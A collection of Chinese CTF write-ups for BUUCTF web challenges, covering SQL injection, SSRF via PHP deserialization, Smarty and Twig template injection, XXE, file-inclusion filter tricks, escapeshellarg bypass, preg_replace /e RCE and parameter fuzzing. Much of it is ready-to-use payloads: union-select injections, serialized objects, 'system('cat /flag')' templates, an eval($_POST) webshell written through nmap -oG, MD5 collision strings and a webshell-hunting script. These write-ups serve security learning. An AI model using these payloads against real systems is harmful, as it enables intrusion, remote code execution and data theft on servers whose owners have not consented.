Buu Challenge One

[网鼎杯 2018]Fakebook

信息收集

此时进去之后有一个登入和注册的界面,此时我们先考虑注册一个账号试试看,然后抓包后看看请求包和响应包是否有啥信息

接下来可以扫一下目录,看看是否存在源码泄露;此时发现了大量的源码泄露和一个robots.txt

robots.txt

此时我们访问robots.txt发现它是禁止所有的机器人访问特定的目录

1
2
User-agent: *
Disallow: /user.php.bak

此时访问之后发现是.bak的备份文件泄露

代码审计

此时发现是.bak的备份文件泄露之后,此时我们对uesr.php进行代码审计

此时这个代码是使用cURL库中获取内容;此时会先使用一个正则表达式来检验博客的有效性,如果此博客有效便会关闭cURL并返回此博客的内容;那么此时我们注意到在get()方法内出现了一个curl_exec()函数,此时若是这个函数使用不当的话便会造成ssrf;结合我们之前扫描出来的flag.php;我们可以利
用curl支持的协议进行读取flag.php

1
Protocols: dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp scp sftp smb smbs smtp smtps telnet tftp

此时我们可以利用file://伪协议进行读取flag.php的内容;但是由于在user.php中存在正则匹配,所以此时我们无法注册端进行读取,那么此时我们应该找一个输入点进行读取

寻找切入点

此时在view.php中发现了一个以SQL注入的注入点,并且通过其回显我们知道此时这个SQL语句并没有进行其他闭合

此时我们考虑通过这个进行SQL注入查询;此时经过查询之后发现有4列;此时过滤了union select,那么此时我们可以利用注释符号进行后台对其整体的过

1
2
3
4
5
payload1:-1%20union/**/select%201,database(),3,4 -->数据库名为fakebook
payload2:-1%20union/**/select%201,group_concat(table_name),3,4%20from%20information_schema.tables%20where%20table_schema='fakebook' -->表名为users
payload3:-1%20union/**/select%201,group_concat(column_name),3,4%20from%20information_schema.columns%20where%20table_schema='fakebook'%20and%20table_name='users' -->列名为
no,username,passwd,data
payload4:-1%20union/**/select%201,group_concat(no,username,passwd,data),3,4%20from%20fakebook.users --> 查数据

此时我们发现在data里面储存了序列化的字符串,刚好和我们在user.php的代码中的序列化一致,那么此时我们可以构造exp进行读取

exp的构造

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
}
$a = new UserInfo();
$a -> name = "hey";
$a -> age = "1";
$a -> blog = "file:///var/www/html/flag.php";
echo serialize($a);
?>
O:8:"UserInfo":3:{s:4:"name";s:3:"hey";s:3:"age";s:1:"1";s:4:"blog";s:29:"file:///var/www/html/flag.php";}

payload:

1
-1%20union/**/select%201,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"hey";s:3:"age";s:1:"1";s:4:"blog";s:29:"file:///var/www/html/flag.php";}'


那么此时这一题考察的是在php的代码审计中可以发现到curl()控制不严格导致可以通过file://伪协议读取文件和存在sql注入可以导致发现了数据库中存在对于我们输入数据的序列化结果,导致我们可以利用ssrf伪造数据进行读取。

非预期解-直接读取flag.php

load_file():
load_file() 是用于从本地文件系统中加载文件内容的函数。它接受文件路径作为参数,并返回文件的内容或表示该内容的数据结构。
payload:

1
1%20union/**/select%201,load_file("var/www/html/flag.php"),3,4

考点

php代码审计

sql注入

ssrf

php反序列化

[RoarCTF 2019]Easy Java

信息收集

在help中的url栏中发现了一个以get提交的文件访问,此时我们可以切换到POST提交,因为这是一道java安全的题目,此时我们可以先来读取一下/WEB-INF/web.xml;这个是Web应用的程序配置文件,描述了servlet和其他应用组件配置及其命名规则

此时我们继续访问flag的class文件,此时就可以拿到flag了

考点

WEB-INF

0x01.
/WEB-INF/web.xml:Web应用程序配置文件,描述了servlet和其他应用的应用组件配置及命名规则。Servlet是Java编写的服务器端组件,用于处理HTTP请求和生成响应。
Servlet -> 处理web请求并生成相应的相应

1
2
3
4
5
6
7
8
Servlet的主要功能包括:
接收和解析客户端的HTTP请求。
处理请求并执行相应的业务逻辑。
动态生成响应内容,通常是HTML、XML、JSON等格式的数据。
与其他服务器端组件(如数据库、其他Web服务等)进行交互。
管理会话状态,跟踪用户的操作和状态。
处理各种类型的请求,如GET、POST、PUT、DELETE等。
总而言之,Java Servlet是一种用于编写服务器端应用程序的Java组件,用于处理Web请求并生成相应的响应。它是Java Web开发的重要组成部分,提供了动态、交互式和可扩展的Web应用程序开发能力。

0x02.
/WEB-INF/classes/:包含了站点所有的class文件,包括 servlet class 和非servlet class,他们不能包含在.jar文件中。Java中的Class文件是Java编译器(javac)将Java源代码编译生成的二进制文件。它包含了已编译的Java类的字节码表示形式。
Class -> javac将java源代码编译生成的二进制文件

1
2
3
4
5
6
7
8
9
当你编写Java源代码并使用javac编译器进行编译时,它会生成一个或多个对应的Class文件。每个Class文件都对应一个Java类或接口。

Class文件采用了一种称为Java字节码(Java bytecode)的中间语言,它是一种与特定硬件平台无关的二进制格式。Java字节码被设计成可以在Java虚拟机(Java Virtual Machine - JVM)上执行。

Class文件包含了类的结构信息,如类的字段、方法、访问修饰符、继承关系、实现的接口等。它还包含了方法的字节码指令,即一系列的虚拟机指令,用于实际执行方法的操作。

Class文件是Java平台的关键组成部分,它使得Java的跨平台性成为可能。通过将Java源代码编译成Class文件,可以在不同的平台上运行Java应用程序,只要这些平台上安装了相应的Java虚拟机。

需要注意的是,Class文件是一种二进制格式,无法直接阅读和理解。如果你想查看Class文件的内容,可以使用Java反编译器(如jd-gui、Procyon、Jad等)将其反编译成Java源代码进行查看。

0x03.
/WEB-INF/lib/:存放web应用的需要的JAR文件。JAR文件是Java平台中常用的文件格式,用于打包和分发Java类、资源和元数据。它提供了方便的方式来组织、部署和共享Java代码和应用程序。
0x04.
/WEB-INF/src/:源码目录,按照包名存放各个java文件

tips:

漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码

[BJDCTF2020]The mystery of ip

信息收集

此时进去是一个界面,此时我们利用Wappalyzer先进行一个框架收集;此时我们发现这里的编程语言是PHP

然后发现有一个flag界面,此时我们点击之后发现了一个显示ip地址的界面,并且在hint界面发现了一个提示问我们是否知道为什么可以获取我们的ip地址

此时我们可以先抓个包看看,此时我们并没有发现什么,结合前面提醒我们的ip地址我们可以联想到X-Forwarded-For这个请求头,此时我们将其添加进去看看

此时我们添加进行的127.0.0.1已经被返回到界面中了,那么此时我们可以怀疑在这个X-Forwarded-For请求头中存在一个RCE的点,此时经过测试发现我们可以通过Smarty框架的SSTI进行一个RCE

Smarty模板引擎注入

1
2
payload1:{$smarty.version}
获取smarty版本证明存在smarty服务器端模板引擎注入

1
payload2:{system('ls /')}

1
paylaod3:{system('cat /flag')}

考点

PHP的Smarty服务器模板引擎注入

[网鼎杯 2020 朱雀组]phpweb

信息收集

此时进入之后会发现这个界面在不断的刷新;此时我们直接采取简单粗暴的方法抓包看看请求包里面有什么;此时发现通过POST传参传了一串不知道什么玩意儿

1
func=date&p=Y-m-d+h%3Ai%3As+a


此时我们可以猜测这个func应该是function;然后这个p应该是个payload;通过万能的chatgpt我们知道可这个func传入的应该是一个函数名,然后p传入的应该是这个函数的参数

那么此时我们想到的当然是利用函数进行RCE,此时我可以尝试使用system()或者exec()或者eval()函数进行RCE;此时发现均被过滤;那么我们尝试进行源码的读取,看看是否存在源码的泄露此时可以使用file_get_contents()或者highlight_file()或者readfile()进行一个读取;发现存在源码泄露

代码审计


此时先定义了一堆黑名单。然后有一个gettime()的方法,该方法内有一个回调函数call_user_func($func, $p);改回调函数的意思简单来说就是,调用
$func这个函数并将$p作为该函数的参数;然后在这个方法里面有一个判断该回调函数结果的gettype();此时若是回调函数结果为字符串,则会返回该结果。接下来是定义了一个Text类,该类可以触发gettime()函数;接下来是对$func做一个黑名单的过滤。
那么我们此时会发现unserialize()反序列化函数并不在黑名单之内,那么我们此时便可以将$func=unserialize;然后在$p内传入我们所需要的RCE内容;利用回调函数的调用,利用反序列化的结果帮助我们实现RCE

exp的编写

1
2
3
4
5
6
7
8
9
<?php
class Test
{
var $p = "ls";
var $func = "system";
}
$a = new Test;
echo serialize($a);
?>


因为此时没有发现flag,那么我们进行一个模糊匹配的搜索

1
$p="find / -name 'flag*'";


此时进行读取即可获得flag

考点

源码泄露

代码审计

回调函数

反序列化攻击

模糊匹配

[BSidesCF 2020]Had a bad day

信息收集

此时进去之后发现有woofers和meowers两个按钮,此时点击并且抓包试试;此时发现以get提交参数

此时怀疑存在sql注入,此时我们先探测一下其闭合形式;此时发现其报错中包含了include()

那么可以想到可能存在文件包含,那么此时我们可以考虑使用伪协议读取一下源码

1
payload1:php://filter/read=convert.base64-encode/resource=index.php

此时在读取的时候发现多包含了.php,那么此时我们修改咱们的payload,去掉后面的.php

1
payload2:php://filter/read=convert.base64-encode/resource=index

此时发现源码已经被成功读取

源码审计


此时咱们先不管前面的html,咱们直接看php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$file = $_GET['category'];

if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>

此时要求咱们的文件包含必须包含到woofers或者meowers或者index者其中一个关键字才会执行文件包含;那么此时我们可以考虑如何使用伪协议进行读取flag

php://filter的trick

此时利用php://filter可以套一层协议读取其他文件这个小trick;我们来进一步构造我们的payload

1
php://filter/convert.base64-encode/index/resource=flag

考点

文件包含

代码审计

php://filter的trick

[BUUCTF 2018]Online Tool

代码审计

此时进去之后直接给了咱们源码;咱们直接进行代码审计

此时先这部分代码检查是否存在HTTP_X_FORWARDED_FOR请求头,如果存在,它将覆盖REMOTE_ADDR变量的值。这通常用于处理经过代理服务器发送的请求
以确保获取真实客户端的IP地址。然后接下来先会检查是否存在名为host的参数,如果不存在则高亮显示当前的文件源码,然后如果存在host参数则会执行以下操作
1.先将host参数存在host中,然后使用escapeshellarg()对host参数进行两次的转义;防止执行系统命令时出现命令注入漏洞。
2.通过使用 md5() 函数将字符串 “glzjin” 与 $SERVER[‘REMOTE_ADDR’](客户端的 IP 地址)进行连接,创建一个唯一的目录名,并将其存储在 $sandbox 变量中。
3.使用 chdir() 函数将当前工作目录更改为 $sandbox 目录。
使用 system() 函数执行系统命令 “nmap -T5 -sT -Pn –host-timeout 2 -F “.$host

escapeshellarg()

1
2
3
4
5
escapeshellarg() 函数将对字符串中的特殊字符进行转义,包括空格、单引号、双引号、反斜杠和其他特殊字符。转义的过程会使用反斜杠对这些字符进行转义,以确保它们不会被 shell 解释为特殊意义。
1. 127.0.0.1' -v -d a=1
escapeshellarg转义后:
2. '127.0.0.1'\'' -v -d a=1'
有单引号会先在单引号前添加\然后两边加'',最后整个语句再加''

escapeshellcmd()

1
2
3
4
5
6
7
8
escapeshellcmd() 函数将对命令字符串中的特殊字符进行转义,包括空格、单引号、双引号、反斜杠和其他特殊字符。转义的过程会使用反斜杠对这些字符进行转义,以确保它们不会被 shell 解释为特殊意义。
1. 127.0.0.1' -v -d a=1
escapeshellarg转义后:
2. '127.0.0.1'\'' -v -d a=1'
有单引号会先在单引号前添加\然后两边加'',最后整个语句再加''
3.经过escapeshellcmd处理后变成
'172.17.0.2'\\'' -v -d a=1\'
这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义

那么此时经过两次的转义,我们的RCE可能就无法成功执行,那么此时我们应该想要如何绕过这两次的转义

PHP escapeshellarg()+escapeshellcmd()的trick

1
2
3
4
5
6
7
8
9
此时假设我们传入的参数为127.0.0.1' -v -d a=1
此时经过escapeshellarg()处理之后,此时会在单引号前面加上\,然后两边加上单引号,最后整个句子再加一层单引号
'127.0.0.1'\'' -v -d a=1'
此时再次经过escapeshellcmd()处理后会变成,此时会对\和最后那个不配对的'进行转义
'127.0.0.1'\\'' -v -d a=1\'
那么此时最后执行的命令就会变为
curl '127.0.0.1'\\'' -v -d a=1\'
那么此时中间的'\\'就会被解释为\,而不是解释为转义字符;这个也进一步导致//后面的'没有被转义,而是继续跟后面的'再次进行配对成一个空白连接符,所以此时经过两次的转义我们原先输入的127.0.0.1' -v -d a=1就会变成
curl 127.0.0.1\ -v -d a=1'

仔细想想其实这可以算是escapeshellarg和escapeshellcmd的设计问题,因为先转义参数再转义命令是很正常的想法,但是它们在配合时并没有考虑到单引号带来的隐患。如果应用使用escapeshellarg -> escapeshellcmd这样的流程来处理输入是存在隐患的,mail就是个很好的例子,因为它函数内部使用了escapeshellcmd,如果开发人员仅用escapeshellarg来处理输入再传给mail那这层防御几乎是可以忽略的。
tips:有一点需要注意的是,由于注入的命令中会带有中间的\和最后的’,有可能会影响到命令的执行结果
参考连接:https://paper.seebug.org/164/

getshell

此时我们应该先考虑如何绕过escapeshellarg()+escapeshellcmd();此时我们先尝试如下payload

如上图所示,只需要在我们提交的参数值头尾加上一个单引号即可绕过。
此时无法使用system(‘ls’)的原因是

所以此时考虑使用反引号进行绕过。
接下来咱们要看源码中命令执行的部分,此时考到的是nmap的命令;
tips:
nmap有一个参数-oG可以实现将命令和结果写到文件;所以我们可以控制自己的输入写入文件,这里我们可以写入一句话木马链接,也可以直接命令 cat flag

1
2
payload1:?host=' <?php echo `cat /flag`;?> -oG test.php '
payload2:?host=' <?php @eval($_POST["shell"]);?> -oG shell.php '

考点

代码审计

escapeshellarg()+escapeshellcmd()的trick

[BJDCTF2020]ZJCTF,不过如此

代码审计

进去之久依旧给了咱们源码,此时我们直接进行代码审计

此时要求我们提交的test参数和不为空且其中包含I hava dream;此时我们就可以考虑使用伪协议进行写入

1
2
3
payload1:?text=php://input post:I hava dream
payload2:?text=data:text/plain,I hava dream
payload3:?text=data:text/plain;base64,SSBoYXZlIGEgZHJlYW0=

此时继续往下看,有一个include()文件包含,此时继续考虑使用伪协议进行读取;因为此时要求不能出现flag,然后提示中有indx.php

1
payload=?file=php://filter/read=convert.base64-encode/resource=next.php

代码审计


此时先定义了一个通过GET提交的参数id;然后自定义了一个complex函数;此时这个函数中有一个正则表达式,并且该正则表达式采取的式/e模式的匹配
此时它会从$str中寻找$re并替换成strtolower(“\1”);
foreach($GET as $re => $str)这是一个foreach循环,遍历$GET数组中的每个键值对。在循环体内,调用complex函数将当前键值对的键和值作为参数
传递,并将结果输出。此时就是就是把我们传进去的参数变为正则,并且参数值变为字符串。
最后定义了一个getFlag()的函数,其作用中有eval()函数;此时可以考虑利用这个eval()函数进行命令执行。

preg_replace()的/e模式的rce

tips1:

preg_replace()函数最后以/e结尾时,会存在命令执行漏洞,也就是说如果有/e,并且匹配到符合正则表达式的字符串,那么第二个参数的字符串将被当
做代码来执行。

tips2:

正则表达式的\S:匹配所有非空白字符;
.号:匹配除\n外的任意字符;

  • 号:匹配前面的字符0次或者多次
    +号:匹配前面的字符1次或者多次(如果要在url里输入+号,必须要对其进行编码,+号编码为:%2b)

tips3:

php里,如果 双引号中有变量,那么php解释器会将其替换为变量解释后的结果,但单引号中的变量不会被处理(不过双引号中的函数不会被执行)

tips4:

因为php里会把参数名里的特殊字符转为下划线_,那么我们只能用\S+传参
所以此时的paylaod

1
2
3
?\S*=${getFlag()}&cmd=system('cat /flag');
?\S*=${eval($_POST[cmd])}
?\S*=${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103))}

考点

php伪协议

preg_replace()的/e模式的rce

php传参的trick

[GXYCTF2019]禁止套娃

信息收集

此时界面询问我们flag在哪;此时我们先直接访问/flag.php发现界面为空;接着发现此时没有参数可以让咱们进行一个伪协议的读取;此时我们直接扫描
后台看看能否发现什么东西;果不其然存在git泄露

此时我们使用GitHack将其源码clone下来

代码审计


此时先使用include()包含了flag.php;接下来使用正则表达式检查了$exp参数中是否包含data://, filter://, php:// 或 phar:// 等协议。如果匹配到其中任何一个协议;就会执行”还想读flag,臭弟弟!”;接下来继续检查$exp中是否包含括号内的函数调用,并将其替换为空字符串。如果替换结果与一个单独的分号(;)相等,则继续执行下面的代码块。如果匹配结果与分号的强比较不想等则会输出”再好好想想”;接下来这行代码使用正则表达式检查$exp中 参数是否包含诸如 “eval”, “exec”, “system” 等可能用于执行代码的关键字。如果未匹配到这些关键字则会执行eval函数。
此时我们的注意点放在

1
preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])

此时这个会将括号内的任何字符替换为空;那么此时我们可以考虑使用到无参数的RCE

无参数RCE

此时直接掏出我们之前的payload

1
?exp=print_r(scandir(current(localeconv())));


可见,flag.php是倒数第二个值,假设是倒数第一个我们可以用end(),但是并没有一个操作数组的函数能够输出数组的倒数第二个值。
那么此时我们可以利用array_reverse()以相反的元素顺序返回数组,再用next()将内部指针指向数组中的下一个元素并输出,next(array_reverse(scandir(pos(localeconv()))))就得到了flag.php
或者array_rand()函数可以随机读取一个数组键,array_flip()又可以将数组中的键和值进行对换。用这两个函数就可以实现对flag.php的读取。

1
2
3
?exp=readfile(next(array_reverse(scandir(pos(localeconv())))));
?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
print_r(show_source(array_rand(array_flip(scandir(current(localeconv()))))));

利用session中的PHPSESSID可以获取当前会话ID

tips:

session_id()可以用来获取/设置当前会话的id;且因为flag.php这些字符是PHPSESSID本身就支持的。所以此时我们可以利用session_id来获取flag
使用session之前需要通过session_start()告诉PHP使用session,php默认的是不主动使用session的,session_id()可以获取当前的session_id。
然后我们手动设置名为PHPSESSID的cookie,并设置为flag.php

考点

git泄露

无参数RCE

PHPSESSID可识别

[NCTF2019]Fake XML cookbook

信息收集

此时根据这道题的名字,此时我们大概可以知道考点在于XML外部实体注入;此时我抓个包进行查看

使用了XML传输数据,然后尝试XXE读取文件

XXE

此时我们开始编写我们的payload

1
2
3
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">]>
<user><username>&admin;</username><password>admin</password></user>

考点

存在回显的XXE

[GWCTF 2019]我有一个数据库

信息收集

此时进去之后先翻看源码发现没有东西存在,接下来因为它题目告诉我们他有一个数据库,那么此时我们考虑sql注入;但是寻找一翻并没有找到所谓的注入点在哪里;那么此时我们只能扫描以下后台;看看是否存在什么泄露或者有其他的资产没有被发现

果不其然我们发现了一个phpmyadmin数据库

此时发现该phpmyadmin数据库的版本过低;可以在网上找找有没有exp直接给他打过去;此时果然发现了现成的payload

参考文章: https://blog.mo60.cn/index.php/archives/228.html
payload:

1
?target=db_sql.php%253f/../../../../../../../../flag

直接对整台服务器getshell: https://blog.aabyss.cn/post-127.html

考点

信息泄露

phpmyadmin

[BJDCTF2020]Mark loves cat

信息收集

此时进来后这个界面给了很多的栏目;毫无头绪之时继续掏出dirsearch扫一扫;此时发现存在git源码泄露

源码审计

flag.php

1
2
<?php
$flag = file_get_contents('/flag');

index.php

此时先使用了一个include()包含flag.php;然后此时定义了三个参数;接下来是两个不含有if()的foreach()遍历函数;这两个foreach()的作用都是进行变量的覆盖
1.foreach()处理POST提交的数据:此时会遍历POST数组中的每个键值对,然后通过$$x这种方式将其转换为动态变量例如,如果POST数组中有一个键值对为flag=example, 那么在这个循环结束后,就会生成一个名为 $flag 的变量,并且它的值是 “example”。
2.foreach()处理GET提交的数据:这个循环与之前的循环类似,但这次 $y 是一个动态变量。例如,如果$GET数组中有一个键值对为flag=handsome,且 $handsome 已经在之前的代码中被赋值为 “yds”,那么在这个循环结束后,就会生成一个名为 $flag 的变量,并且它的值是 “yds”。
3.接下来代码再次的遍历get数组,这个方法用于检查是否有请求参数为flag且不等于flag的情况;如果有则会输出$handsome的值并退出代码。
4.接下来,代码检查是否存在 flag 参数,如果既不存在 $GET[‘flag’] 也不存在 $POST[‘flag’],则输出 $yds 的值并退出代码
5.如果存在名为 flag 的 POST 参数或 GET 参数,并且它的值等于 ‘flag’,那么将输出 $is 的值并终止程序。在这个例子中,$is 的值是 ‘cat’,所以如果存在名为 flag 的参数且值为 ‘flag’,将输出 ‘cat’ 并立即终止执行。

变量覆盖

此时我们利用exit()的输出功能

1
2
3
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

此时要求我们GET或者POST传$flag不为空
继续利用

1
2
3
foreach($_GET as $x => $y){
$$x = $$y;
}

此时利用我们上面代码审计的结果:在这个里面,首先是 $x=yds,$=flag 。把它带进foreach里面,就变成了$yds=$flag 。$$x就相当于是$($x),这样
就非常好理解变量覆盖漏洞了。
所以构造payload

1
?yds=flag

考点

变量覆盖

[WUSTCTF2020]朴实无华

信息收集

发现好像没有什么东西;直接dirsearch扫一遍看看发现了robots.txt

进去之后给了一个假的flag地址;真的是朴实无华啊;这个时候咱们抓包看看;看看请求包里面是否存在信息泄露;此时在响应包里面发现了另外一个信息泄露

代码审计


此时我们先看level 1:

1
2
3
4
5
6
7
8
9
10
11
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}

此时要求我们通过GET提交$num;并且要求$nun在取整过后小于2020;加一之后大于2021;此时我们可通过科学计数法进行绕过即可
level 2:

1
2
3
4
5
6
7
8
9
10
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

此时要求我们依旧通过GET方式提交$md5并且要求我们此时提交的$md5和$md5经过md5加密之后的弱比较想等;在==的情况下只要以0e开头的数值加密后结果也是0e即可绕过
level 3:

1
2
3
4
5
6
7
8
9
10
11
12
13
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}

此时只是过滤了cat和空格而已;此时可以利用tac或者more或者编码绕过;方式有很多种

payload

1
2
3
level 1:?num=2e4
level 2:md5=0e215962017
level 3:get_flag=tac /flag

考点

代码审计

php的trick

信息收集

此时根据Hint我们注意到了Cookie;此时这里有一个user是我们可控参数

此时考虑到模板注入;所以此时我们按照那张老图进行测试

先输入${7*7};此时呢并没有进行一个算数运算;所以我们继续往下测试

此时我输入{{7*7}};验证是否存在ssti;此时发现被成功解析

接下来我们要判断的就是是Jinja2模板或者是Twig模板;

1
2
{{7*'7'}} 回显7777777 ==> Jinja2
{{7*'7'}} 回显49 ==> Twig

Twig模板的SSTI

此时经过测试发现是Twig模板;此时直接网上找个payload直接进行测试

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

考点

Twig模板的SSTI

[安洵杯 2019]easy_web

信息收集


此时存在三个可疑点;一是img后面接的字符;二是cmd为可控参数;三是base64转换的图片;此时我们先对img的可疑字符进行查看
此时经过三次的解码之后发现是图片的名字55.png

那么此时我们继续对index.php进行三次的加密得到TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

ps:好好好,这么玩是吧;感觉这里结合了密码和杂项的思维

代码审计


那么此时我们将重点放在

1
2
3
4
5
6
7
8
9
10
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}

此时对$cmd做了一个linux的正则过滤;然后要输出$cmd的条件是以POST提交的a不等于b但是其md5值相等;又因为因为

1
|\\|\\\\|

只对双斜杠和四斜杠进行了过滤,正则中\\才相当于一个\,对于preg_match这个函数可以通过单反斜杠\进行绕过,也就是说可以直接使用反斜杠绕过
这个正则表达式

1
2
ls --> l\s
cat --> ca\t

然后此时md5的强比较的话我们已经见过很多次了;直接拿之前的payload即可

1
2
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2


此时我们发现命令已经可以执行

绕过方法二

此时发现sort和strings并没有被过滤;所以此时可以利用

1
2
3
4
cmd=strings%20/flag
cmd=sort%20/flag
sort的定义:
sort将文件的每一行作为一个单位相互比较,比较原则是从首字符向后依次按ASCII码进行比较,最后将它们按升序输出(就是按行排序)。

考点

代码审计

绕过

[强网杯 2019]高明的黑客

信息收集

进去之后直接给了源码提交下载;很开心,结果点开之后是三千多个源码很崩溃。开局暴击满眼都是里面有GET,POST,exec,eval,assert…这不都是shell的格式嘛?但是好像没法利用,那也就是说明这3000个文件中肯定至少有一个是真实的shell,这也印证了被黑之后,放混淆代码的意图

getshell

此时我们可以利用脚本来找这些文件的利用点
此时我们先在phpstudy里面开一个web环境来搭载我们这些源码;然后利用网上大佬的脚本来进行测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import os
import requests
import re
import threading
import time
print('开始时间: '+ time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100) #这儿设置最大的线程数
filePath = r"D:/Phpstudy/phpstudy_pro/WWW/src/"
os.chdir(filePath) #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False
def get_content(file):
s1.acquire()
print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) ))
with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} #所有的$_POST
params = {} #所有的$_GET
for m in gets:
params[m] = "echo 'xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
url = 'http://127.0.0.1/src/'+file
req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST
req.close() # 关闭请求 释放内存
req.encoding = 'utf-8'
content = req.text
#print(content)
if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
for a in gets:
req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b:"echo 'xxxxxx';"})
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
break
if flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
param = a
else:
param = b
print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release()

for i in files: #加入多线程
t = threading.Thread(target=get_content, args=(i,))
t.start()

此时这个脚本是用来帮助我们打开所以的php文件;然后通过GET或者POST的方式进行传参然后找到利用点进行getshell

payload=?Efa5BVG=cat%20/flag

考点

脚本编写